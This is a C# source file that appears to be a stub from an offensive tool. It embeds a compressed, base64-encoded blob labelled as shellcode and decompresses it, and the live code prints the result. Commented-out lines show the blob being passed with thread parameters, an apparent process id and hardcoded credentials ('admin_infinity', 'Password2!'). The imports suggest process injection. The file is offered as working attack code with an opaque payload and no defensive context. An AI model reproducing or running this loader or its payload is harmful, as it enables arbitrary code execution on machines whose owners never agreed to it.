using System;using System.IO;using System.Diagnostics;using System.Text;

                    using System.Runtime.InteropServices; using System.IO.Compression;

                    using Microsoft.Win32.SafeHandles;using System.Runtime.ConstrainedExecution;

                    using System.Security.Principal;using System.Security.Permissions;using System.Security;        

public class Program

{

    public static void Main()

    {

        ExecRuntime();

    }

     public static byte[] Decompress(byte[] data)

     {

         using (MemoryStream compressedStream = new MemoryStream(data))

             using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress))

             using (MemoryStream resultStream = new MemoryStream())

         {

             byte[] buffer = new byte[16*1024];

             int read;

             while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)

             {

                 resultStream.Write(buffer, 0, read);

             }

             return resultStream.ToArray();

         }

     }

​

    public static void ExecRuntime()

    {

        string shellcodeBase64 = "H4sIACYPy10C//vj0fzkw4sjDAwMjoGOAUGBYR6Gl1I9uoMSgFgCiBU8uosCPPi3e3n5Gp70MDywxiaxhklHwfHgSV5HxoOP3gY5BoJUdTvZeDBeSGuskOBmKs3rbugAGujReqAkGSga0O0h4dLtoODJeOFxkMf/k47dJh0ejNeg5kFNsnhQ+tGH2UeFw9XyYumNCKB6FaD6NMduHg8gWwbIduxmAWq74BjhGBEXGQWkIh2jHIP+PwAyojy6hV4G////P9aj+Y2Dx3EXFQOg/QxAWgNKKzADaVfDk447GIGMXUDc4NHbmwnkOO669e2W//+rHp0uKmCtCiAtPr29kSDJHRwgj/ROTQRyPLp9VBwcd62dF78bqBzCOTatPQjEaQUp2CkAUVwEUmzI5NF8iOPR99eSDGgg2SqmIr9IL5thcqAR52u5/26fNd4cfyNess/yr9pOpa+7Fk1YNOX4MRsN4TAl4VjJArVwWRXmcElxQVNmxqgwXmNNPnW7aN80G3N3bpOImDRtXRd1Jf54rjqLcLd0DaZUDR1JGQ0Z71RtBSkOaaaweDNtOR47k9hYCwVtOW2ueHFtW+YKAF6+IH71AQAA";

        byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64);

        byte[] shellcodeByteArr = Decompress(shellcodeCompressed);

        string threadParametersBase64 = "";

        byte[] threadParameters = {};

        if(threadParametersBase64.Length > 0){

            byte[] threadParametersCompressed = Convert.FromBase64String(threadParametersBase64);

            threadParameters = Decompress(threadParametersCompressed);

        }

        Console.WriteLine(Convert.ToBase64String(shellcodeByteArr));

        //string output_func=Console.WriteLine(shellcodeByteArr, threadParameters, @"136", 0, 0, "admin_infinity", "Password2!");

        //byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func);

        //return(output_func_byte);

    }

}